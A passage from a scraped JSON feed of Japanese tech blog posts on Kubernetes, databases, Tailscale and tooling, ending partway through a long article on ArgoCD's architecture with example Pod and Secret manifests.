Netlinkとは調べた範囲だと、Linuxカーネルのサブシステムの1つで、ルーティングテーブルの管理などのネットワーク関連の設定などを行う際に利用されるもの、という理解をしている。Netlinkは、Linuxカーネルとユーザ空間プロセス間の、またはカーネル内の通信を提供するためのIPC(Inter-pro...","isoDate":"2023-06-08T18:03:10.000Z","dateMiliSeconds":1686247390000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes 1.27 以降のバッチ処理の改善","link":"https://zenn.dev/toversus/articles/d6065bea460871","contentSnippet":"Kubernetes 1.27 以降で実装済みまたは予定されているバッチ処理の改善に繋がる KEP や Kubernetes のサブプロジェクトの現状を見ていきます。 KEP-3673: Kubelet limit of Parallel Image Pulls!Kubernetes 1.27 時点でアルファ機能です。1.28 でベータを目指していますが、設定はデフォルトで無効化されています。Pod の起動にノードのスケールアウトが必要な場合に、Pod の起動時間の短縮が期待できます。バッチ処理の Pod が一斉に起動するケースで恩恵を受けられそうです。Kubelet は...","isoDate":"2023-06-08T03:46:32.000Z","dateMiliSeconds":1686195992000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"asdf の代わりに rtx を使う","link":"https://blog.1q77.com/2023/06/rtx/","contentSnippet":"nodeenv とか rbenv とか tfenv とか XXenv がそれぞれ .xxx-version というファイルにそのディレクトリ配下で使用する software の version を指定するという仕様があり、それらをまとめてやってくれる","isoDate":"2023-06-07T01:25:11.000Z","dateMiliSeconds":1686101111000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"PC作ってみた","link":"https://moz-security.hatenablog.com/entry/2023/06/04/172414","contentSnippet":"SECCON Beginners CTF 2023 でボコボコにされて、少し萎えていますが、超絶久しぶりにブログでも書きます。なぜ自作PCまず、4月29, 30日(土・日)にGMOインターネットグループが開催するDevSecOpsThon2023というイベントに参加しました。これに関しては、イベント直後に、参加記を書こうと思っていたのですが、書かんといけないな〜と思いながら、2週間も経つと、完全に書く気がなくなりました。気になる方は、下に他の参加者さんが書いたリンクを貼っているのでそちらからご覧ください。イベントの参加者には、自宅サーバ勢が多く、確か半分くらいは、自宅にサーバを立てていたと思います。イベント自体が、インフラハッカソンというちょっと変わったイベントで、ハードウェアやOS、ミドルウェアといった低レイヤの知識を必要としており、もう自宅サーバ勢が無双状態で、自分の知識の欠如を非常に実感しました。そこで、その人たちに近づくための第一歩として、自作PCに取り組もうと思いました。developers.gmo.jpDevSecOpsThon2023 参加ブログ・DevSecOpsThonに参加してきた・「DevSecOpsThon at GMO kitaQ」に参加したらすごく良かった件!! - Qiita・DevSecOpsThon2023 at GMO kitaQ - Qiita・【\uD83D\uDCDD】DevSecOpsThon at GMO kitaQ\xa0自作PCに取り組むこれに取り組んだのは、5月27, 28日でした。この理由は、25日に給料日だったからですね。まずは、パーツの選択と購入から始めました。別にゲーム用途ではないため、GPUはいらない代わりに、グラフィック機能があるCPUにしたり、メモリの拡張性を考えて、4スロットあるマザーボードにしたりしました。初めての自作PCということで、そこまでスペックのいいものを作る気は最初からなく、まぁ10万円くらいかなと考えていたのですが、メモリやSSDが思ったよりも安く、7万円くらいで全てのパーツを購入することができました。購入したパーツが届いたら、あとは組み立てるだけでした。ググったら、自作PCについてのサイトはたくさん出てきましたが、正直マザーボードとPCケースの取扱説明書だけでも十分なほど説明が細かく書いてあります。全てのパーツをマザーボードにくっつけるだけなので、そこまで難しくはなく、電源など配線が終わったら、本当に起動してくれるのかドキドキしながら、電源ボタンを押しました。プラス端子とマイナス端子を逆にしていないかなど心配しながらも、BIOS画面が立ち上がった時はとても安心したし、嬉しかったです。ここまできたら、あとはブータブルUSBからOSを起動するだけで、無事に初めての自作PCを完成させることができました。今は、仮想マシンを複数台起動していて、それを使って、遊びつつ、勉強していこうと思っています。とりあえずは、Kubernetesクラスタを組んでみたり、脆弱性検証から始めていこうって感じです。自作PCのメモについては、下のリンク先にあります。moz-security.me作ってみて自作PCというと、とてもハードルが高いように感じますが、実際に作ってみると意外と簡単だし、色々と勉強になることもたくさんあります。また、デスクトップという制約はあるものの、同じ値段であれば、ノートPCよりもいいスペックで構築することができるし、店頭にあるデスクトップPCと比べても、自分で改造できるため、拡張性があるといったメリットがあります。一度だけでも作ってみるのはおすすめです。(自分に合わなければ、2度目をなくせばいいだけ)","isoDate":"2023-06-04T08:24:14.000Z","dateMiliSeconds":1685867054000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Redis公式のGoクライアントライブラリrueidisを試してみた","link":"https://qiita.com/bayobayo0324/items/8ac3e27eef360a316ad2","contentSnippet":"This 記事 is 何?Twitterぼんやり見てたらRedis公式のGo用クライアントライブラリが出てたとかで、自身のプロジェクトにどの程度簡単に入れられるのかなーと思い試してみました。公式…","isoDate":"2023-05-31T12:02:25.000Z","dateMiliSeconds":1685534545000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"データフレームからの表組みを楽にするftExtra 0.6.0をリリース!脚注の書式指定が柔軟に!!","link":"https://blog.atusy.net/2023/05/30/ftextra-0-6-0/","contentSnippet":"ftExtra 0.6.0では、脚注に関する機能が強化されました。ftExtraパッケージはRで表を出力する際に、セルの文字列をマークダウンとしてフォーマットする機能などを提供するパッケージです1。デフォルトではR Markdownと同様にマークダウン方言としてPandoc’s Markdownを採用しており、^[aaa]といった記法で脚注を記載できます。","isoDate":"2023-05-30T00:00:00.000Z","dateMiliSeconds":1685404800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本のビットコイン決済を振り返る","link":"https://speakerdeck.com/shukob/ri-ben-nohitutokoinjue-ji-wozhen-rifan-ru","contentSnippet":"https://cryptocurrency.connpass.com/event/280644/\\r2023年5月ビットコインとかミートアップでビットコイン決済についてLTしました。","isoDate":"2023-05-27T04:00:00.000Z","dateMiliSeconds":1685160000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"OLAPデータベースを支える技術","link":"https://zenn.dev/nnaka2992/articles/technics_behind_analytical_database","contentSnippet":"今年に入ってからCarnegie Mellon UniversityのAdvanced Database SystemsでReading Assignmentとして出ている論文リストで必須とされているものや講義資料を読みました。https://nnaka2992.hatenablog.com/archive/category/論文この記事では紹介されていた論文やAdvanced Database Systemsの講義資料・動画を振り替えることで、BigQueryやRedShift、Snowflakeといった最新の分析用データベースがどのように優れたパフォーマンスを実現しているかを考え...","isoDate":"2023-05-25T00:02:49.000Z","dateMiliSeconds":1684972969000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"leap.nvimを拡張して検索対象にラベルをつけて飛べるleap-search.nvimを作った","link":"https://blog.atusy.net/2023/05/24/leap-onto-matched-patterns/","contentSnippet":"本記事はVim駅伝の5/24の記事です。leap.nvimについてeasymotion系のNeovimプラグインとしてメジャーどころにはhop.nvimやleap.nvimがあります。leap.nvimはいわゆるeasymotion系のプラグインで、入力した文字にマッチする箇所にラベル(a, b, c, …)をつけ、ラベルを入力するとその位置にカーソルを移動します。デフォルトの挙動はeasymotionの2-character search motionに近いもので、2文字にマッチする箇所にラベルをつけます。","isoDate":"2023-05-24T00:00:00.000Z","dateMiliSeconds":1684886400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでドキュメントのYAMLフロントマター(メタデータ)を抽出する","link":"https://blog.atusy.net/2023/05/18/pandoc-extract-metadata/","contentSnippet":"以下のようなMarkdownファイルがあってYAMLフロントマターから .data.hoge を取り出したい、みたいなことはしばしばあります。---title: タイトルauthor: atusydata: hoge: fuga---なんかコンテンツこういう時、うまく grep コマンドとか使ってやるのも手ですが、Pandocの力でYAMLファイルを生成しても面白いでしょう。","isoDate":"2023-05-18T00:00:00.000Z","dateMiliSeconds":1684368000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"現在のDremelの実装を解説した論文を読みました ","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/17_dremel","contentSnippet":"この記事の趣旨2020年に発表されたBigQueryの元となったGoogle内で利用されている分析向けデータベースであるDremelの実装を解説した論文を読みました。Dremel: A Decade of Interactive SQL Analysis at Web Scale著者についてSergey Melnik, Andrey Gubarev, Jing Jing Long, Geoffrey Romer, Shiva Shivakumar, Matt Tolton,Theo Vassilakisら2010年のDremel発表論文の著者らと、Hossein Ahmadi, Dan Delorey, Slava Min, Mosha Pasumansky, Jeff ShuteらGoogleで分析ワークロードと分散処理に関わる著者らによる論文。概要BigQueryの元となったGoogleのDremelの10年間を振り替えってアーキテクチャについて説明した論文。Dremelは現代のクラウドネイティブ分析ツールで一般的になっている、計算リソースとストレージの分解、カラムナストレージ、in situデータ分析などを統合した最初のツールである。手法SQLの採用Googleでは殆どのデータはBigTableなどNoSQLデータベースで管理されていたため、SQLを用いないデータアクセスが主流であった。しかしトランザクション型ビッグデータシステムにおける、SQLの採用に共ないDremelでもSQLを採用した。ストレージの分離メモリの分離MapReduceのシャッフルのボトルネックを回避するためにDisaggregated Memory Shuffle Systemを採用した。In situデータ分析への対応DBMSへのデータロードを必要としないデータ分析のことで、DremelではGFSに移行するときにGoogle内で共有のストレージフォーマットを使用することでGoogle内のデータに対応した。加えてGoogle Cloud StorageやGoogle Drive、MySQL、BigTableなどからのデータ取得もフェデレーションとして対応した。サーバレスアーキテクチャフォールトトレラントリスタート、仮想スケジューリングユニットによりマルチテナントかつオンデマンドなリソースを提供可能とし、低価格な利用を可能とした。現在ではサーバレスアーキテクチャを進化させ、集中型スケジューリングやShuffle Persistent Layer、柔軟なDAG実行、動的クエリ実行などを実装することでより優れたサーバレスアーキテクチャを実現した。ネストデータにおけるカラムナストレージ[[32])]Figure 5Figure 6Figure 7クエリレイテンシの最小化インタラクティブな実行のレイテンシは大きくなる。それを解決するためにDremelではスタンバイサーバプール、マルチレベル実行ツリー、列指向スキーマ表現、CPUとIO負荷のバランス調整、ファイルオペレーションの再利用、保証されたキャパシティ、適合的なクエリスケーリングにより実現している。作業時間read27:5027:50author32:024:12summary68:5026:48","isoDate":"2023-05-15T02:14:20.000Z","dateMiliSeconds":1684116860000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Tailscale + Samba + NextCloudでおうちクラウド始めた","link":"https://blog.atusy.net/2023/05/12/tailscale-nextcloud/","contentSnippet":"外出先から家にあるデータにアクセスしたい(義)両親に家族写真を共有したいデバイス間でデータを同期したいデータ容量の制限を考えたくないセキュリティはそこそこ欲しい変なデータ混ざっても垢BANされたくないこういった要望を叶えるためにtailscaleで構築したVPN内でのみアクセスできるSamba(ファイル共有)とNextCloud(DropBox的なもの)をたててみました。","isoDate":"2023-05-12T00:00:00.000Z","dateMiliSeconds":1683849600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Connection draining for Service type LoadBalancer","link":"https://zenn.dev/toversus/articles/1682d275ef1bb7","contentSnippet":"はじめにService リソースは Kubernetes のサービス検出を支えるコアリソースです。Service のデータプレーンとして kube-proxy を使用している場合は、各ノード上の iptables や ipvs を設定することで L4 負荷分散を実現しています。Kubernetes は、結果整合性 (Eventual Consistency) の上に成り立つ分散システムです。Kubernetes のコントロールプレーンが Pod を削除する時に、全てのノード上のルーティングルールを更新してから Pod を削除したりはしません。削除中の Pod にもトラフィックが流...","isoDate":"2023-05-11T09:43:47.000Z","dateMiliSeconds":1683798227000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"TiDBで学ぶNewSQLのアーキテクチャ for Beginners","link":"https://zenn.dev/nnaka2992/articles/learning_tidb_internal_for_beginner","contentSnippet":"はじめにこの記事ではNewSQLの特徴であるノード間の分散とトランザクションや分断耐性などがTiDBではどのような技術によって実現されているかを説明することを目的としています。Spannerの論文が2012年に発表されてから10年以上の年月が流れ、優れた論文や実装ドキュメント、個人による解説ブログなど技術的詳細について述べた資料は多くあります。加えてこの記事を入門的なものと位置づけているため各コンポーネントを網羅的に解説するというよりは、キーコンセプトをどのように実装しているのかを実験を混じえながら動作の実現方法の解説を中心に扱います。また今回はTiDBをベースに説明し...","isoDate":"2023-05-11T01:18:19.000Z","dateMiliSeconds":1683767899000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"クエリオプティマイザの精度を検証した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/16_query_optimization_performance","contentSnippet":"この記事の趣旨2015年に発表されたクエリオプティマイザにおけるカーディナリティ推定とコストモデル、列挙アルゴリズムの貢献度を評価した論文を読んでいきます。How Good Are Query Optimizers, Really?著者についてViktor Leis、Andrey Gubichev、Atanas Mirchev、Peter Boncz、Alfons Kemper、Thomas Neumannらのグループによる論文。ほとんどのメンバーはDBMSにおける最適化について研究しているが、Atanas Mirchevはより統計や探索といった最適化よりの研究をしている。問題意識良い結合順序を見つけることはクエリの性能に対して大きな影響を与えるため、熱心に研究されてきた。古典的なクエリ最適化のアプローチでは以下のステップで動的計画方に基づいた最適化を行なう。1. 有効な結合順序の列挙1. カーディナリティ推定値を入力としたコストモデルの選択理論的にはカーディナリティとコストモデルの推定値が正確であれば、最適なクエリプランを選択することができる。しかし現実にはカーディナリティ推定は一様性や独立性といった単純化された仮定に基づいており、しばしばそのような仮定は間違っているため悲惨な計画を作成する。手法この論文ではカーディナリティ推定器の評価と正確なコストモデルの重要性の評価、そして列挙された結合順序の空間がどの程度影響するのかを以下の方法で検証し、貢献を行なっている。1. IMDBデータを用いたJoin Order BenchmarkというJOINにフォーカスしたベンチマークによる評価を行なう1. 実世界のデータセットにおける現実的なクエリを用いたE2Eの検証を行なう。1. クエリ性能に対するカーディナリティ・コストモデル・列挙アルゴリズムの貢献度を定量化し、最適なクエリプラン生成のためのガイドラインを策定している。作業時間read29:3829:38author33:083:30summary48:4414:36感想時間が無くまとめ途中で切り上げてしまった。やらないよりマシではあるものの、ちゃんと纏めるときにくらべて理解度に影響が出そうなので時間に余裕を持っておきたい。内容自体はGW中にPostgreSQLの実装を読んでいたこともあり、わりと理解しやすかった。","isoDate":"2023-05-08T02:13:43.000Z","dateMiliSeconds":1683512023000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.27] Dynamic Resource Allocation のいま","link":"https://zenn.dev/toversus/articles/fe2aa06f133b49","contentSnippet":"!Kubernetes 1.27 時点でアルファ機能のため、実装が大きく変わる可能性があります。 はじめにKubeCon Europe 2023 で KEP-3063 Dynamic Resource Allocation (DRA) についての深い話と DRA Resource Driver の実装方法の話があったので、kubernetes-sigs/dra-example-driver をベースに触りながら検証してみました。toVersus/fake-dra-driver で公開しています。Device Plugins 2.0: How to Build a Drive...","isoDate":"2023-05-06T02:11:55.000Z","dateMiliSeconds":1683339115000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"TailscaleをDockerで動かすと、再起動時に認証失敗 or IPアドレスが変わってしまう問題への対処","link":"https://blog.atusy.net/2023/05/05/tailscale-docker/","contentSnippet":"DockerでTailscaleを使ったVPNを構築してみました。公式の案内では以下の手順でauth keyを用いた起動ができます。docker run -d --name=tailscaled \\\\ -v /var/lib:/var/lib -v /dev/net/tun:/dev/net/tun \\\\ --network=host --cap-add=NET_ADMIN --cap-add=NET_RAW \\\\ --env TS_AUTHKEY={{ auth key }} \\\\ tailscale/tailscaleしかし、この方法は公式も記述している通り一時的な(ephemeral)用途向きです。","isoDate":"2023-05-05T00:00:00.000Z","dateMiliSeconds":1683244800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【ArgoCD\uD83D\uDC19】ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/05/02/145115","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️ArgoCDのアーキテクチャを構成するコンポーネントの種類についてArgoCDがマニフェストを自動デプロイする仕組みについてこの記事から得られる知識01. はじめに02. 概要アーキテクチャレイヤーコンポーネント仕組み(1) repo-serverによるクローン取得(2) application-controllerによるマニフェスト取得(3) application-controllerによるCluster確認(4) application-controllerによる処理結果保管(5) argocd-serverによるキャッシュ取得(6) 管理者のログイン(7) IDプロバイダーへの認証フェーズ委譲(8) dex-serverによる認証リクエスト送信(9) argocd-serverによる認可フェーズ実行(10) application-controllerによるマニフェストデプロイ03. repo-serverrepo-serverとは仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピー(2) repo-serverによる認証情報取得(3) repo-serverのよるクローン取得とポーリング(4) repo-serverによるサイドカーコール(5) repo-serverによる暗号化キーと暗号化変数の取得(6) サイドカーによるプラグイン処理の取得(7) サイドカーによるプラグイン処理の実行04. application-controller、redis-serverapplication-controllerとはredis-serverとは仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンド(2) application-controllerによるArgoCD系カスタムリソースのReconciliation(3) application-controllerによるマニフェスト取得(4) application-controllerによるヘルスチェック(5) application-controllerによるマニフェスト差分検出(6) application-controllerによる処理結果保管(7) application-controllerによるマニフェストデプロイ05. dex-serverdex-serverとは仕組み(1) プロダクト用Cluster管理者のログイン(2) IDプロバイダーへの認証フェーズ委譲(3) dex-serverによる認可リクエスト作成(4) dex-serverによる認可リクエスト送信(5) IDプロバイダーによる認証フェーズ実施(6) argocd-serverによる認可フェーズ実施06. argocd-server (argocd-apiserver)argocd-serverとは仕組み(1) application-controllerによるヘルスチェック(2) application-controllerによるマニフェスト差分検出(3) application-controllerによる処理結果保管(4) application-controllerによる処理結果取得(5) プロダクト用Cluster管理者のログイン(6) Ingressコントローラーによるルーティング(7) IDプロバイダーへの認証フェーズ委譲(8) IDプロバイダーによる認証フェーズ実施(9) argocd-serverによる認可フェーズ実施(10) application-controllerによるマニフェストデプロイ07. アーキテクチャのまとめ08. おわりに謝辞記事関連のおすすめ書籍01. はじめにロケットに乗るタコのツラが腹立つわー。画像引用元:Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19とAWS EKSをリプレイスしました。今回は、採用した設計プラクティスの紹介も兼ねて、ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組みを記事で解説しました。ArgoCDは、kubectlコマンドによるマニフェストのデプロイを自動化するツールです。ArgoCDのアーキテクチャには変遷があり、解説するのは執筆時点 (2023/05/02) で最新の 2.6 系のArgoCDです。アーキテクチャや仕組みはもちろん、個々のマニフェストの実装にもちょっとだけ言及します。それでは、もりもり布教していきます\uD83D\uDE1702. 概要アーキテクチャレイヤーまずは、ArgoCDのアーキテクチャのレイヤーがどのようになっているかを見ていきましょう。ArgoCD公式から、コンポーネント図が公開されています。図から、次のようなことがわかります\uD83D\uDC47下位レイヤー向きにしか依存方向がなく、例えばコアドメインとインフラのレイヤー間で依存性は逆転させていない。レイヤーの種類 (UI、アプリケーション、コアドメイン、インフラ) とそれらの依存方向から、レイヤードアーキテクチャのようなレイヤーに分けている。特にコアドメインレイヤーが独立したコンポーネントに分割されており、マイクロサービスアーキテクチャを採用している。argo-cd/docs/developer-guide/architecture/components.md at v2.8.0 \xb7 argoproj/argo-cd \xb7 GitHub▶ ArgoCDのマイクロサービスアーキテクチャの分割単位についてMonolith to Microservices: Evolutionary Patterns to Transform Your Monolith (English Edition)▶ ArgoCDのマイクロサービスアーキテクチャの設計図についてhttps://microsoft.github.io/code-with-engineering-playbook/design/diagram-types/DesignDiagramsTemplates/componentDiagrams/コンポーネント次に、コンポーネントの種類を紹介します。ArgoCDの各コンポーネントが組み合わさり、マニフェストの自動的なデプロイを実現します。ArgoCD (2.6系) のコンポーネントはいくつかあり、主要なコンポーネントの種類とレイヤーは以下の通りです\uD83D\uDC47 コンポーネント レイヤー 機能 argocd-server(argocd-apiserver) UI・アプリケーション みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能します。現在、複数のレイヤーの責務を持っており、将来的にUIとアプリケーションは異なるコンポーネントに分割されるかもしれません。 application-controller コアドメイン Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。 repo-server コアドメイン マニフェスト/チャートリポジトリからクローンを取得します。また、クローンからマニフェストを作成します。 redis-server インフラ application-controllerの処理結果のキャッシュを保管します。 dex-server インフラ SSOを採用する場合、argocd-serverの代わりに認可リクエストを作成し、またIDプロバイダーに送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。 GitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。仕組みそれでは、ArgoCDは、どのようにコンポーネントを組み合わせて、マニフェストをデプロイするのでしょうか。ここではプロダクト用Cluster管理者 (デプロイ先となるClusterを管理するエンジニア) は、ArgoCDのダッシュボードを介してマニフェストをデプロイするとしましょう。まずは、概要を説明していきます。(1) repo-serverによるクローン取得ArgoCDのCluster上で、repo-serverがマニフェスト/チャートリポジトリのクローンを取得します。(2) application-controllerによるマニフェスト取得application-controllerは、repo-serverからマニフェストを取得します。(3) application-controllerによるCluster確認application-controllerは、プロダクト用Clusterの現状を確認します。(4) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(5) argocd-serverによるキャッシュ取得argocd-serverは、redis-serverからキャッシュを取得します。(6) 管理者のログインプロダクト用Cluster管理者は、argocd-serverにログインしようとします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。▶ argocd-serverのログイン手法について(8) dex-serverによる認証リクエスト送信dex-serverは、IDプロバイダーに認可リクエストを作成し、これをIDプロバイダーに送信します。(9) argocd-serverによる認可フェーズ実行argocd-serverで認可フェーズを実施します。ログインが完了し、プロダクト用Cluster管理者は認可スコープに応じてダッシュボードを操作できます。▶ ArgoCDをどのClusterで管理するかについて(10) application-controllerによるマニフェストデプロイapplication-controllerは、Clusterにマニフェストをデプロイします。マニフェストのデプロイの仕組みをざっくり紹介しました。ただこれだと全く面白くないため、各コンポーネントの具体的な処理と、各々がどのように通信しているのかを説明します✌️03. repo-serverrepo-serverとはまずは、コアドメインレイヤーにあるrepo-serverです。マニフェスト/チャートリポジトリ (例:GiHub、GitHub Pages、Artifact Hub、AWS ECR、Artifact Registryなど) からクローンを取得します。repo-serverを持つPodには、他に軽量コンテナイメージからなるInitContainerとサイドカー (cmp-server) がおり、それぞれ機能が切り分けられています\uD83D\uDC4D仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピーrepo-serverの起動時に、InitContainerでお好きなマニフェスト管理ツール (Helm、Kustomizeなど) やプラグイン (helm-secrets、KSOPS、SOPS、argocd-vault-pluginなど) をインストールします。また、サイドカーのcmp-serverでは起動時に/var/run/argocd/argocd-cmp-serverコマンドを実行する必要があり、InitContainer (ここではcopyutilコンテナ) を使用して、ArgoCDのコンテナイメージからargocd-cliのバイナリファイルをコピーします。repo-serverのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、ArgoCDで使いたいツール (Helm、SOPS、helm-secrets) をInitContainerでインストールしています。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: argocdspec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest initContainers: # HelmをインストールするInitContainer - name: helm-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # SOPSをインストールするInitContainer - name: sops-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # helm-secretsをインストールするInitContainer - name: helm-secrets-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /helm-working-dir/plugins name: helm-working-dir ... # cmp-serverにargocd-cliのバイナリをコピーするInitContainer - name: copyutil image: quay.io/argoproj/argocd:latest command: - cp - -n - /usr/local/bin/argocd - /var/run/argocd/argocd-cmp-server volumeMounts: - name: var-files mountPath: /var/run/argocd # Podの共有ボリューム volumes: - name: custom-tools emptyDir: {} - name: var-files emptyDir: {}Custom Tooling - Argo CD - Declarative GitOps CD for Kubernetes▶ ArgoCDのコンテナイメージに組み込まれているツールについてquay.io/argoproj/argocd) には、いくつかのツール (例:Helm、Kustomize、Ks、Jsonnetなど) の推奨バージョンがあらかじめインストールされています。そのため、これらのツールのプラグイン (例:helm-secrets) を使用する場合、上記のコンテナイメージからなるrepo-server内のツールをcmp-serverにコピーすればよいのでは、と思った方がいるかもしれません。この方法は全く問題なく、cmp-serverの/usr/local/binディレクトリ配下にツールをコピーするように、InitContainerを定義してもよいです。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest volumeMounts: - mountPath: /usr/local/bin/helm # Podの共有ボリュームを介して、repo-serverでHelmを使用する。 name: custom-tools initContainers: - name: copy-helm image: quay.io/argoproj/argocd:latest # InitContainer上のHelmをVolumeにコピーする command: - /bin/cp - -n - /usr/local/bin/helm - /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools # 共有ボリューム volumes: - name: custom-tools emptyDir: {}反対に、これらツールをInitContainerでインストールし直す場合は、ArgoCD上での推奨バージョンをちゃんとインストールするようにしましょう\uD83D\uDC4D2.6系では、ArgoCDのリポジトリ内のtool-versions.shファイルに、Helmのバージョンが定義されています。spec: ... initContainers: - name: helm-installer image: alpine:latest command: - /bin/sh - -c # ArgoCDのリポジトリ上のtool-versions.shファイルから、Helmのバージョンを取得する args: - | apk --update add curl wget ARGOCD_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-helm/argo-cd-/charts/argo-cd/Chart.yaml | grep appVersion | sed -e \'s/^[^: ]*: //\') HELM_RECOMMENDED_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-cd/\\"${ARGOCD_VERSION}\\"/hack/tool-versions.sh | grep helm3_version | sed -e \'s/^[^=]*=//\') wget -q https://get.helm.sh/helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz tar -xvf helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz cp ./linux-amd64/helm /custom-tools/ chmod +x /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools ...argo-cd/hack/tool-versions.sh at v2.6.0 \xb7 argoproj/argo-cd \xb7 GitHub(2) repo-serverによる認証情報取得repo-serverは、Secret (argocd-repo-creds) からリポジトリの認証情報を取得します。argocd-repo-credsではリポジトリの認証情報のテンプレートを管理しています。指定した文字列から始まる (最長一致) URLを持つリポジトリに接続する場合、それらの接続で認証情報を一括して適用できます。argocd-repo-credsのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、リポジトリのSSH公開鍵認証を採用し、argocd-repo-credsに共通の秘密鍵を設定しています。apiVersion: v1kind: Secretmetadata: name: argocd-repo-creds-github namespace: argocd labels: argocd.argoproj.io/secret-type: repo-credstype: Opaquedata: type: git url: https://github.com/hiroki-hasegawa # 秘密鍵 sshPrivateKey: | MIIC2 ...あとは、各リポジトリのSecret (argocd-repo) にURLを設定しておきます。すると、先ほどのargocd-repo-credsのURLに最長一致するURLを持つSecretには、一括して秘密鍵が適用されます。# foo-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: argocd name: foo-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: bar-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/bar-chart.git---# baz-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: foo name: baz-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: baz-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/baz-chart.gitDeclarative Setup - Argo CD - Declarative GitOps CD for Kubernetes(3) repo-serverのよるクローン取得とポーリングrepo-serverは、認証情報を使用して、リポジトリにgit cloneコマンドを実行します。取得したクローンを、/tmp/_argocd-repoディレクトリ配下にUUIDの名前で保管します。また、リポジトリの変更をポーリングし、変更を検知した場合はgit fetchコマンドを実行します。# クローンが保管されていることを確認できる$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/_argocd-repo/\\"# リポジトリ内のファイルChart.yaml README.md templates values.yamlcustom repo-server - where is the local cache kept? \xb7 argoproj argo-cd \xb7 Discussion #9889 \xb7 GitHub▶ repo-serverでのクローン保管先のバージョン差異について2.3以前では、repo-serverは/tmpディレクトリ配下にURLに基づく名前でクローンを保管します。$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/https___github.com_hiroki-hasegawa_foo-repository\\"# リポジトリ内のファイルChart.yaml README.md templates values.yaml(4) repo-serverによるサイドカーコールrepo-serverは、自身にマウントされたいくつかのマニフェスト管理ツール (例:Helm、Kustomize) を実行する機能を持っています。しかし、実行できないツールではサイドカー (cmp-server) をコールします。この時、Applicationの.spec.source.pluginキーでプラグイン名を指定すると、そのApplicationではサイドカーをコールします。逆を言えば、プラグイン名を指定していないApplicationは、サイドカーをコールしない です。apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: foo-application namespace: foospec: source: plugin: name: helm-secrets # このプラグイン名は、ConfigManagementPluginのmetadata.nameキーに設定したもの ...このコールは、Volume上のUnixドメインソケットを経由します。Unixドメインソケットのエンドポイントの実体は.sockファイルです。$ kubectl exec -it argocd-repo-server -c foo-plugin-cmp-server\\\\ -- bash -c \\"ls /home/argocd/cmp-server/plugins/\\"foo-plugin.sock▶ UnixソケットドメインについてASCII.jp:Unixドメインソケット (1/2)(5) 